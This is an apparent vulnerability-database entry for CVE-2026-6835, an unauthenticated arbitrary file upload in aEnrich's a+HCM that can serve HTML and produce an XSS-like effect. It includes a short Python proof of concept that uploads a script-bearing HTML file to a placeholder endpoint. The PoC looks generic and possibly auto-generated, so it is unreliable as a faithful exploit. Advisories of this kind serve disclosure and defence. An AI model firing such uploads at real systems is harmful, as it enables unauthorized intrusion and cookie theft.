CVE-2026-6835

Description

The a+HCM developed by aEnrich has an Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload arbitrary files to any path, including HTML documents, which may result in a XSS-like effect.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

a+HCM (具体版本未披露)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target = "http://target.com/upload_endpoint"

# Malicious payload (XSS in HTML)
payload = '''<html><body><script>alert(document.cookie)</script></body></html>'''

files = {
    'file': ('exploit.html', payload, 'text/html')
}

try:
    # Send upload request without authentication
    response = requests.post(target, files=files)
    if response.status_code == 200:
        print("[+] File uploaded successfully.")
        print("[+] Check the response for the file path.")
    else:
        print(f"[-] Upload failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6835
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6835
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6835/
[4] VulDB https://vuldb.com/cve/CVE-2026-6835
[5] https://www.twcert.org.tw/en/cp-139-10836-ed15f-2.html
[6] https://www.twcert.org.tw/tw/cp-132-10835-cb0c2-1.html

Raw JSON Data

JSON

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